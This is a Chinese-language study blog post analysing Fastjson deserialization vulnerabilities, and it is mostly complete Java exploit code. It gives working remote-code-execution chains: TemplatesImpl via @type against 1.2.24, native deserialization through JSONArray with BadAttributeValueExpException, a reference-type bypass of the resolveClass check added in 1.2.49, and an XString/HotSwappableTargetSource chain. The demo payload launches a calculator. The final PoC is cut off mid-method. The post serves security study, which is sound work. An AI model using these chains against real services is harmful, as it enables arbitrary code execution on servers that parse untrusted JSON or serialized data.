fastjson反序列化
Fastjson 是 Alibaba 开发的 Java 语言编写的高性能 JSON 库,用于将数据在 JSON 和 Java Object 之间互相转换。
提供两个主要接口来分别实现序列化和反序列化操作。
JSON.toJSONString
将 Java 对象转换为 json 对象,序列化的过程。
JSON.parseObject/JSON.parse
将 json 对象重新变回 Java 对象,反序列化的过程
依赖导入
导入1.2.24是最早漏洞发现的版本,jdk版本无所谓
1
2
3
4
5
|
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
|
序列化和反序列化demo
先定义一个Person类,实现javabean的基本方法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
public class Person {
private String name;
private int age;
public Person() {
System.out.println("constructor");
}
public String getName() {
System.out.println("getName");
return name;
}
public void setName(String name) {
System.out.println("setName");
this.name = name;
}
public int getAge() {
System.out.println("getAge");
return age;
}
public void setAge(int age) {
System.out.println("setAge");
this.age = age;
}
}
|
序列化
1
2
3
4
5
6
7
8
9
10
11
|
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;
public class serializeTest {
public static void main(String[] args) {
Person person = new Person();
person.setName("hajimi");
String json = JSON.toJSONString(person, SerializerFeature.WriteClassName);
System.out.println(json);
}
}
|
跟进代码看看序列化怎么实现的,首先进了JOSN类的toJSONString
方法

这里是new了·一个SerializeWriter对象,序列化完成
注意到进json类的时候下面多了一个static变量

这里的DEFAULT_TYPE_KEY
为 “@type”,等下会用到,这是一个产生漏洞的点
回到上面这句话
1
|
String json = JSON.toJSONString(person, SerializerFeature.WriteClassName);
|
第二个参数是 SerializerFeature.WriteClassName
,是 JSON.toJSONString()
中的一个设置属性值,设置之后在序列化的时候会多写入一个@type,即写上被序列化的类名,type 可以指定反序列化的类,并且调用其 getter
/setter
/is
方法。
Fastjson 接受的 JSON 可以通过@type字段来指定该JSON应当还原成何种类型的对象,在反序列化的时候方便操作。
反序列化
1
2
3
4
5
6
7
8
9
10
11
|
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
public class unserializeTest {
public static void main(String[] args) {
String json = "{\"@type\":\"Person\",\"age\":114514,\"name\":\"hajimi\"}";
Person person = JSON.parseObject(json, Person.class, Feature.SupportNonPublicField);
System.out.println(person);
System.out.println(person.getName());
}
}
|
Feature.SupportNonPublicField
主要是用来获取private属性的值,如果没设置,尝试获取age的话就会获取到0,前提是要把private属性的age的setter方法注释掉(一般没人会给私有属性加setter方法,加了就没必要声明为private了)
漏洞点
如果我们带着@type属性反序列化,他可以反序列化我们指定的类型来自动调用getter和setter方法,要是我们指定了Object或者JSONObject,则可以反序列化出来任意类,例如Object o = JSON.parseObject(poc,Object.class)
就可以反序列化出Object类或其任意子类,而Object又是任意类的父类,所以就可以反序列化出所有类。
修改上面代码
1
2
3
4
5
6
7
8
9
10
11
|
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
public class unserializeTest {
public static void main(String[] args) {
String json = "{\"@type\":\"Person\",\"age\":114514,\"name\":\"hajimi\"}";
JSONObject person = JSON.parseObject(json);
System.out.println(person);
}
}
|
观察输出它确实调用了我们前面定义的Person类的所有getter和setter方法
调试
跟进parseObject方法看看怎么个事

可以看到首先调用了parse方法,然后返回一个obj,接着返回一个JSONObject对象,这个本质是一个map

接着走到了这里的默认解析器,然后下面一行就是解析的逻辑了,跟进去看看

这里有个switch判断,从我们的输入的序列化对象挨个读取,我们第一个字符是{

然后跟进去这个方法大致是获取key和value进行一些操作

然后这里符合判断,因为我们的JSON.DEFAULT_TYPE_KEY
就是@type
,这样就会不只进行json的反序列化,还会进行java的反序列化,这里看到用loadClass加载了类

前面走完到这里了,这里就是实现反序列化的地方,首先获取一个ObjectDeserializer
,然后用这个类的方法来反序列化

由于这里我们的类Person是自定义的,所以直接到这个else里面,创建一个javabeandeserializer

跟进去可以发现上来先判断是否允许asm,这个动态修改字节码的库吧,默认是true

然后跟到这里,这个方法很重要,大概是首先获取我们类里的javabean,然后构建一个新的javabean

这里获取所有的方法和变量

这里遍历所有方法,实际上注释那里有写,在遍历查找setter方法

然后接着就是一个遍历public变量的,最后是变量getter方法的获取,没什么好看的
这边创建完之后返回ObjectDeserializer
对象,走到下面的反序列化

后面代码很冗长,大概最后调试的时候是setter方法调用了setvalue方法赋值,然后内部有个invoke方法,说明是反射赋值,然后getter方法是调用了get方法,然后内部也是invoke方法
小结
只要找到某个类里面的getter或者setter方法有任意代码执行的操作,我们就可以利用fastjson反序列化这里的漏洞来利用,例如我们在前面的类里面添加弹计算器的代码,反序列化后就会弹计算器
fastjson1.2.24版本漏洞分析
基于 TemplatesImpl 的利用链

我们打TemplatesImpl加载字节码的时候,用到getTransletInstance方法,可以注意到他也是getter类型的
不过之前我们打的时候都是用反射来修改值的,这里fastjson不需要,只用json格式传入就行了
这里先搬出之前的代码方便对照
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
|
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import sun.misc.Unsafe;
import java.lang.reflect.Field;
public class EvilClass {
private static Unsafe unsafe = null;
public static void main(String[] args) throws Exception {
Class c = Unsafe.class;
Field field = c.getDeclaredField("theUnsafe");
field.setAccessible(true);
unsafe = (Unsafe) field.get(null);
TemplatesImpl templatesImpl = (TemplatesImpl) unsafe.allocateInstance(TemplatesImpl.class);
setFieldValue(templatesImpl, "_name", "calc");
setFieldValue(templatesImpl, "_bytecodes", new byte[][]{generatePayload()});
setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());
templatesImpl.newTransformer();
}
public static void setFieldValue(Object target,String fieldName,Object value) throws Exception {
Field field = target.getClass().getDeclaredField(fieldName);
long offset = unsafe.objectFieldOffset(field);
unsafe.putObject(target, offset, value);
}
public static byte[] generatePayload() throws Exception{
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.makeClass("Test");
cc.makeClassInitializer().insertBefore(cmd);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
return cc.toBytecode();
}
}
|
正常来说只需要填写_name
,_bytecodes
,_tfactory
这三个字段
但是fastjson调用javabean方法是有条件的,上面也跟过代码了,这里直接总结
满足条件的setter:
- 非静态函数
- 返回类型为void或当前类
- 参数个数为1个
满足条件的getter:
- 非静态方法
- 无参数
- 返回值类型继承自Collection或Map或AtomicBoolean或AtomicInteger或AtomicLong
上面的getTransletInstance
方法返回值并非上面的5个,进不了后面代码,所以直接修改不会成功
我们直接查找谁调用了getTransletInstance
方法

newTransformer
方法,上面能调用的我们很熟悉,是getOutputProperties
方法,返回值是 Properties 即继承自 Map 类型。

所以我们只需要加个这个参数就行了,然后构造json
1
|
"{\"@type\":\"" + TEM_CLASS + "\",\"_bytecodes\":[\"" + evilCode + "\"],\"_name\":\"hajimi\",\"_tfactory\":{},\"_outputProperties\":{}}"
|
由于字节码我们构造的本身是byte[]类型,直接转String类型可能会丢失,我们转成base64
1
2
|
byte[] bytecode = generatePayload();
String evilCode = Base64.getEncoder().encodeToString(bytecode);
|
poc
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
|
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.Feature;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import java.util.Base64;
public class TemplateImplAttack {
public static void main(String[] args) throws Exception {
final String TEM_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
byte[] bytecode = generatePayload();
String evilCode = Base64.getEncoder().encodeToString(bytecode);
String payload = "{\"@type\":\"" + TEM_CLASS + "\",\"_bytecodes\":[\"" + evilCode + "\"],\"_name\":\"hajimi\",\"_tfactory\":{},\"_outputProperties\":{}}";
// System.out.println(payload);
JSONObject object = JSON.parseObject(payload, Feature.SupportNonPublicField);
}
public static byte[] generatePayload() throws Exception{
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.makeClass("Test");
cc.makeClassInitializer().insertBefore(cmd);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
return cc.toBytecode();
}
}
|
基于 JdbcRowSetImpl 的利用链
JNDI还没学
基于 JdbcRowSetImpl 的利用链主要有两种利用方式,即 JNDI + RMI 和 JNDI + LDAP,都是属于基于 Bean Property 类型的 JNDI 的利用方式。
后面再写
fastjson原生反序列化
参考:FastJson与原生反序列化
toString链
类的查找:既然是与原生反序列化相关,那我们去fastjson包里去看看哪些类继承了Serializable接口即可,最后找完只有两个类,JSONArray与JSONObject,这里我们就挑第一个来讲(实际上这两个在原生反序列化当中利用方式是相同的)

首先我们可以在IDEA中可以看到,虽然JSONArray有implement这个Serializable接口但是它本身没有实现readObject方法的重载,并且继承的JSON类同样没有readObject方法,那么只有一个思路了,通过其他类的readObject做中转来触发JSONArray或者JSON类当中的某个方法最终实现串链
FastJson<=1.2.48
前面我们知道fastjson的序列化和反序列化调用的函数为JSON.parse
和toJSONString
,能够触发getter方法
这里的toJSONString
能被JSON类的toString
方法调用

我们的思路就是这样:触发toString->toJSONString->get
方法
调用get方法我们可以想到上面用过的TemplatesImpl链的getOutputProperty方法,调用newTransformer,最后通过动态类加载实现RCE,而toString方法在CC5也用到了
所以基于这些我们就能搓出一个exp
前面先用TemplatesImpl,中间写一个jsonarray,最后用CC5的BadAttributeValueExpException触发toString就行
CC5这里的BadAttributeValueExpException也用到反射,我们用unsafe替换
1
2
|
BadAttributeValueExpException badAttributeValueExpException = (BadAttributeValueExpException) unsafe.allocateInstance(BadAttributeValueExpException.class);
setFieldValue(badAttributeValueExpException, "val", jsonArray);
|
poc
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
|
import com.alibaba.fastjson.JSONArray;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import sun.misc.Unsafe;
import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
public class OriginAttack {
private static Unsafe unsafe = null;
public static void main(String[] args) throws Exception {
Class c = Unsafe.class;
Field field = c.getDeclaredField("theUnsafe");
field.setAccessible(true);
unsafe = (Unsafe) field.get(null);
TemplatesImpl templatesImpl = (TemplatesImpl) unsafe.allocateInstance(TemplatesImpl.class);
setFieldValue(templatesImpl, "_name", "calc");
setFieldValue(templatesImpl, "_bytecodes", new byte[][]{generatePayload()});
setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());
// templatesImpl.newTransformer();
JSONArray jsonArray = new JSONArray();
jsonArray.add(templatesImpl);
BadAttributeValueExpException badAttributeValueExpException = (BadAttributeValueExpException) unsafe.allocateInstance(BadAttributeValueExpException.class);
setFieldValue(badAttributeValueExpException, "val", jsonArray);
//序列化
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
objectOutputStream.writeObject(badAttributeValueExpException);
//反序列化
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
public static void setFieldValue(Object target,String fieldName,Object value) throws Exception {
Field field = target.getClass().getDeclaredField(fieldName);
long offset = unsafe.objectFieldOffset(field);
unsafe.putObject(target, offset, value);
}
public static byte[] generatePayload() throws Exception{
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.makeClass("Test");
cc.makeClassInitializer().insertBefore(cmd);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
return cc.toBytecode();
}
}
|
这个同样能打fastjson2,这边测试fastjson2版本<=2.0.26都能打
Fastjson>=1.2.49
从1.2.49开始,我们的JSONArray以及JSONObject方法开始有了自己的readObject方法,而且有类的检查

然后进JSONObject的SecureObjectInputStream类,这个类重写了resolveClass方法,这里用了checkAutoType来检查类,这个resolveClass的写法并不安全,还是能被绕过的
他现在的逻辑是
1
|
ObjectInputStream -> readObject -> ... -> SecureObjectInputStream -> readObject -> resolveClass
|
实际安全的实现逻辑应该为:
生成一个继承ObjectInputStream的类并重写resolveClass(假定为TestInputStream),由它来做反序列化的入口
1
|
TestInputStream -> readObject -> resolveClass
|
现在我们可以寻找一下怎么绕过resolveClass了
先进ObjectInputStream看看resolveClass在哪里实现的,在一步步往上跟


这里再往上就走到readObject0方法

然后就是readObject方法

现在我们想要绕过,不调用resolveClass方法
注意观察readObject0方法,会根据读到的bytes中tc的数据类型做不同的处理去恢复部分对象
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
|
switch (tc) {
case TC_NULL:
return readNull();
case TC_REFERENCE:
return readHandle(unshared);
case TC_CLASS:
return readClass(unshared);
case TC_CLASSDESC:
case TC_PROXYCLASSDESC:
return readClassDesc(unshared);
case TC_STRING:
case TC_LONGSTRING:
return checkResolve(readString(unshared));
case TC_ARRAY:
return checkResolve(readArray(unshared));
case TC_ENUM:
return checkResolve(readEnum(unshared));
case TC_OBJECT:
return checkResolve(readOrdinaryObject(unshared));
case TC_EXCEPTION:
IOException ex = readFatalException();
throw new WriteAbortedException("writing aborted", ex);
case TC_BLOCKDATA:
case TC_BLOCKDATALONG:
if (oldMode) {
bin.setBlockDataMode(true);
bin.peek(); // force header read
throw new OptionalDataException(
bin.currentBlockRemaining());
} else {
throw new StreamCorruptedException(
"unexpected block data");
}
case TC_ENDBLOCKDATA:
if (oldMode) {
throw new OptionalDataException(true);
} else {
throw new StreamCorruptedException(
"unexpected end of block data");
}
default:
throw new StreamCorruptedException(
String.format("invalid type code: %02X", tc));
}
|
上面的不同case中大部分类都会最终调用readClassDesc
去获取类的描述符,在这个过程中如果当前反序列化数据下一位仍然是TC_CLASSDESC
那么就会在readNonProxyDesc
中触发resolveClass
不会调用readClassDesc
的分支有TC_NULL
、TC_REFERENCE
、TC_STRING
、TC_LONGSTRING
、TC_EXCEPTION
,string与null这种对我们毫无用处的,exception类型则是解决序列化终止相关.
所以剩下的只有REFERENCE
引用类型,现在我们就要思考,如何在 JSONArray/JSONObject
对象反序列化恢复对象时,让我们的恶意类成为引用类型从而绕过 resolveClass
的检查
答案是当向List、set、map类型中添加同样对象时即可成功利用,这里也简单提一下,这里以List为例:
1
2
3
4
|
ArrayList<Object> arrayList = new ArrayList<>();
arrayList.add(templates);
arrayList.add(templates);
writeObjects(arrayList);
|
原理:因为我们写入对象时,会在handle
这个哈希表中建立从对象到引用的映射

再次写入时,handles这个表查询到前面的映射

就会通过writeHandle
将重复对象以引用类型写入,然后就可以构造攻击的payload了
poc
ArrayList:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
|
import com.alibaba.fastjson.JSONArray;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import sun.misc.Unsafe;
import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.ArrayList;
public class OriginAttack2 {
private static Unsafe unsafe = null;
public static void main(String[] args) throws Exception{
Class c = Unsafe.class;
Field field = c.getDeclaredField("theUnsafe");
field.setAccessible(true);
unsafe = (Unsafe) field.get(null);
TemplatesImpl templatesImpl = (TemplatesImpl) unsafe.allocateInstance(TemplatesImpl.class);
setFieldValue(templatesImpl, "_name", "calc");
setFieldValue(templatesImpl, "_bytecodes", new byte[][]{generatePayload()});
setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());
JSONArray jsonArray = new JSONArray();
jsonArray.add(templatesImpl);
BadAttributeValueExpException badAttributeValueExpException = (BadAttributeValueExpException) unsafe.allocateInstance(BadAttributeValueExpException.class);
setFieldValue(badAttributeValueExpException, "val", jsonArray);
ArrayList arrayList = new ArrayList();
arrayList.add(templatesImpl);
arrayList.add(badAttributeValueExpException);
//序列化
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
objectOutputStream.writeObject(arrayList);
//反序列化
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
public static void setFieldValue(Object target,String fieldName,Object value) throws Exception {
Field field = target.getClass().getDeclaredField(fieldName);
long offset = unsafe.objectFieldOffset(field);
unsafe.putObject(target, offset, value);
}
public static byte[] generatePayload() throws Exception{
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.makeClass("Test");
cc.makeClassInitializer().insertBefore(cmd);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
return cc.toBytecode();
}
}
|
其实就是在原来的基础上加上了下面这几行,然后由于把badAttributeValueExpException包装到ArrayList了,所以最后反序列化arraylist
1
2
3
|
ArrayList arrayList = new ArrayList();
arrayList.add(templatesImpl);
arrayList.add(badAttributeValueExpException);
|
总结来说这里的过程就是第一次成功反序列化TemplatesImpl类,然后第二次反序列化BadAttributeValueExpException类时,当调用到JSONArray的readObject()时,当反序列化JSONArray中的TemplatesImpl类时,此时的TemplatesImpl类是一个引用类型,不会调用resolveClass()方法,从而成功绕过。
HashMap:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
|
import com.alibaba.fastjson.JSONArray;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import sun.misc.Unsafe;
import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.ArrayList;
import java.util.HashMap;
public class OriginAttack2 {
private static Unsafe unsafe = null;
public static void main(String[] args) throws Exception{
Class c = Unsafe.class;
Field field = c.getDeclaredField("theUnsafe");
field.setAccessible(true);
unsafe = (Unsafe) field.get(null);
TemplatesImpl templatesImpl = (TemplatesImpl) unsafe.allocateInstance(TemplatesImpl.class);
setFieldValue(templatesImpl, "_name", "calc");
setFieldValue(templatesImpl, "_bytecodes", new byte[][]{generatePayload()});
setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());
JSONArray jsonArray = new JSONArray();
jsonArray.add(templatesImpl);
BadAttributeValueExpException badAttributeValueExpException = (BadAttributeValueExpException) unsafe.allocateInstance(BadAttributeValueExpException.class);
setFieldValue(badAttributeValueExpException, "val", jsonArray);
HashMap hashMap = new HashMap();
hashMap.put(templatesImpl,badAttributeValueExpException);
//序列化
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
objectOutputStream.writeObject(hashMap);
//反序列化
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
public static void setFieldValue(Object target,String fieldName,Object value) throws Exception {
Field field = target.getClass().getDeclaredField(fieldName);
long offset = unsafe.objectFieldOffset(field);
unsafe.putObject(target, offset, value);
}
public static byte[] generatePayload() throws Exception{
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.makeClass("Test");
cc.makeClassInitializer().insertBefore(cmd);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
return cc.toBytecode();
}
}
|
这个就更简单了,加了两行代码
1
2
|
HashMap hashMap = new HashMap();
hashMap.put(templatesImpl,badAttributeValueExpException);
|
至于原理,由于序列化会对map的key和value都进行反序列化,也就是调用writeObject方法

所以我们直接分别放入templatesImpl和badAttributeValueExpException就能绕过
XString链
参考:高版本Fastjson反序列化Xtring新链和EventListenerList绕过-先知社区
上面的链子如果通过重写resolevclass让BadAttributeValueExpException被过滤了,并且Fastjson还是高版本,就没办法用了
间接打XString
现在介绍一条链子来通过equal来触发toString
1
|
HashMap#readObject -> HotSwappableTargetSource#equals -> XString#equals -> toString
|
HotSwappableTargetSource 是在 Spring AOP 中出现的一个类,是spring 原生的 toString 利用链。
所以这里简单起个springboot环境,~~byd一直报错版本冲突,然后降spring版本也没成功,~~最后直接导入Spring-aop的依赖,终于成功了
依赖
1
2
3
4
5
|
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-aop</artifactId>
<version>5.3.23</version>
</dependency>
|
并非poc:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
|
import com.alibaba.fastjson.JSONArray;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.springframework.aop.target.HotSwappableTargetSource;
import com.sun.org.apache.xpath.internal.objects.XString;
import sun.misc.Unsafe;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
public class XStringAttack {
private static Unsafe unsafe = null;
public static void main(String[] args) throws Exception {
Class c = Unsafe.class;
Field field = c.getDeclaredField("theUnsafe");
field.setAccessible(true);
unsafe = (Unsafe) field.get(null);
TemplatesImpl templatesImpl = (TemplatesImpl) unsafe.allocateInstance(TemplatesImpl.class);
setFieldValue(templatesImpl, "_name", "calc");
setFieldValue(templatesImpl, "_bytecodes", new byte[][]{generatePayload()});
setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());
JSONArray jsonArray = new JSONArray();
jsonArray.add(templatesImpl);
HotSwappableTargetSource h1 = new HotSwappableTargetSource(jsonArray);
HotSwappableTargetSource h2 = new HotSwappableTargetSource(new XString("xxx"));
HashMap hashMap = makeMap(h1, h2);
//序列化
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
objectOutputStream.writeObject(hashMap);
//反序列化
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
public static void setFieldValue(Object target,String fieldName,Object value) throws Exception {
Field field = target.getClass().getDeclaredField(fieldName);
long offset = unsafe.objectFieldOffset(field);
unsafe.putObject(target, offset, value);
}
public static byte[] generatePayload() throws Exception{
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.makeClass("Test");
cc.makeClassInitializer().insertBefore(cmd);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
return cc.toBytecode();
}
public static HashMap<Object, Object> makeMap(Object v1, Object v2 ) throws Exception {
HashMap<Object, Object> map = new HashMap<>();
map.put(v1, v1);
map.put(v2, v2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null)); //通过此处来设置的0组和1组
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
setFieldValue(map, "table", tbl);
return map;
}
}
|
这里我们自定义了函数makeMap来创建hashmap来触发equals函数的,这里需要反射修改hashmap里面属性的值
makeMap函数原来是
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
public static HashMap<Object, Object> makeMap(Object v1, Object v2 ) throws Exception {
HashMap<Object, Object> map = new HashMap<>();
setFieldValue(map, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null)); //通过此处来设置的0组和1组
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
setFieldValue(map, "table", tbl);
return map;
}
|
本质上等价于
1
2
3
4
5
6
|
HotSwappableTargetSource h1 = new HotSwappableTargetSource(jsonArray);
HotSwappableTargetSource h2 = new HotSwappableTargetSource(new Object());
HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put(h1,h1);
hashMap.put(h2,h2);
setFieldValue(h2,"target",new XString("xxx"));
|
这里直接修改回爆一个hashmap访问异常的报错,手动设定为上面的
1
2
|
map.put(v1, v1);
map.put(v2, v2);
|
但是这里又出问题了,不知道是什么原因,可能真是unsafe反射的原因,这里想下断点看看后续的调用的,然后直接弹计算器了,想到可能是序列化的时候就触发了,一看发现其实是前面重写makeMap方法的原因,put方法提前触发toString了,此事在CC1亦有记载
所以干脆换回field来反射
poc
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
|
import com.alibaba.fastjson.JSONArray;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.springframework.aop.target.HotSwappableTargetSource;
import com.sun.org.apache.xpath.internal.objects.XString;
import sun.misc.Unsafe;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
public class XStringAttack2 {
public static void main(String[] args) throws Exception {
TemplatesImpl templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_name", "calc");
setFieldValue(templatesImpl, "_bytecodes", new byte[][]{generatePayload()});
setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());
JSONArray jsonArray = new JSONArray();
jsonArray.add(templatesImpl);
HotSwappableTargetSource h1 = new HotSwappableTargetSource(jsonArray);
HotSwappableTargetSource h2 = new HotSwappableTargetSource(new XString("xxx"));
HashMap hashMap = makeMap(h1, h2);
//序列化
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
objectOutputStream.writeObject(hashMap);
//反序列化
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
public static void setFieldValue(Object target,String fieldName,Object value) throws Exception {
Field field = target.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(target,value);
}
public static byte[] generatePayload() throws Exception{
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.makeClass("Test");
cc.makeClassInitializer().insertBefore(cmd);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
return cc.toBytecode();
}
public static HashMap<Object, Object> makeMap(Object v1, Object v2 ) throws Exception {
HashMap<Object, Object> map = new HashMap<>();
setFieldValue(map, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
